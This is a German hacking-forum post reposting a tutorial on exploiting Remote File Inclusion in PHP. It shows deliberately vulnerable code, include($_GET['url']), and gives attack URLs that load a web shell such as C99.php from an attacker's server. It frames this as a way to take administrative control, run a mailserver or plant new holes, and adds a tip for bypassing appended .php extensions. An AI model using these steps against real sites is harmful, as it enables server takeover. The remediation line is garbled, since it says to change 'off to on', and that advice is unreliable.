Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

[TUT] RFI Tutorial by fred777

- - - - -

  • Bitte melde dich an um zu Antworten
Keine Antworten in diesem Thema

#1
PaulaAbdul

PaulaAbdul

    Favoured Management

  • Administration
  • Likes
    3718
  • 2157 Beiträge
  • 3712 Bedankt
  • 1337-699
  • verifiziert
  • Android [root]
  • Windows, Linux
Fred777 mit einem seiner super Tutorials :)



###########################################################################

RFI Tutorial by fred777

###########################################################################

Willkommen zu meinem Tutorial über RFI oder auch Remote File Inclusion.
RFIs sind leicht auszunutzende Sicherheitslücken in PHP-Dateien.
Man kann durch inludieren eigener Scripte bzw. Dateien leicht administrative Rechte erlangen.

Meistens geschieht das über den GET-Parameter. Remote heißt es deshalb, da der Code bzw.
die Shell nicht erst auf den Server geladen oder in eine Datei geschrieben werden muss, wie
bei einer LFI, sondern direkt von einem anderen Platz aus eingebunden werden kann.

Meistens werden simple Administration-shells benutzt wie die C99.php, da einem da so
ziemlich alle Wege offen stehen.

So kann aus einem Root schnell mal ein eigener Mailserver werden oder man erstellt neue
Lücken, falls die eine entdeckt wird.

Das als kleine Erklärung.


###########################################################################

Doch wie findet man so eine Lücke, bzw. wie entsteht sie?

###########################################################################

Das ist relativ einfach, bei PHP gibt es folgende Konfiguration die es erlaubt eine fremde URL
zu öffnen. Diese ist:

allow_url_fopen

sie sollte bei einer RFI auf = on stehen, das kann man testen, wie das geht erkläre ich bei
Anwenden. Seit PHP 5 gibt es desweitere die Einstellung:

allow_url_include = on/off

Damit habe ich auch schon erklärt, wie ihr die Lücken auf einer Seite wieder schließt. off to on
ändern. Desweiteren gehen wir mal näher auf PHP ein. Die Befehle:

include und require sowie
include_once und require_once


benutzt man zum einbinden von zus????tzlichen Dateien in das laufende Script. Werden jetzt die
Eingaben nicht geprüft, kann der Benutzer Code ausführen, bei einer RFI sogar von fremdem
Webserver aus.

Schauen wir uns folgenden einfachen Code an:

<?php
include($_GET['url']);
?>


Wenn wir jetzt unsere PHP-Datei erstellen, sehen wir, dass mit dem GET-Parameter ?url= etwas
eingebunden werden kann, da die Eingaben nicht überprüft werden. Wie das geht lest ihr unten.


###########################################################################

So wie wende ich so eine Lücke jetzt an?

###########################################################################

Wir haben also unsere Datei test.php, die oben stehenden Code beinhaltet.

Wir laden das Script auf unseren Server, und binden google.de ein.

seitemitlückeodermeinenserver.de/test.php?url=http://google.de

Jetzt sollte Google angezeigt werden, ist das möglich können wir auch unsere Shell einbinden.

seitemitlückeodermeineseite.de/test.php?url=http://servermitshelldrauf.de/shell.php?

Da öfters .php automatisch gesetzt wird, ändern wir falls es nicht klappt einfach shell.php in
shell.txt und schon haben wir die Shell eingebunden und können Modifikationen vornehmen.

Auf die einzelnen Shells gehe ich jetzt nicht ein, das könnt ihr selber entscheiden.

###########################################################################

So das wars auch schon, demnächst schaut euch das LFI Tutorial von mir an,
falls die Art von Lücken euch interessiert.

Autor: fred777 Quelle:

Please Login HERE or Register HERE to see this link!


401a3d5869.jpg

 

,,Der blaue Baum" von Prohex (2020)




  Thema Forum Themenstarter Statistik Letzter Beitrag

Besucher die dieses Thema lesen:

Mitglieder: , Gäste: , unsichtbare Mitglieder:


This topic has been visited by 31 user(s)


    alcapwn, alterego-59, Andi, Babo187, back2hack, Barney1, corkscrew, dauerbauer, FalkE, Flex.Net, Framerater, hacked, Heinokel0903, Irhabi, Iron, Miyaca, peppi200, Qjx1337, smc2014, Smn, sub0, synnergy, syntx, TheGentleman, Totgezeckt, v3571g, ValleX, Verk4, Xantar, zepsus, Zero-X
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.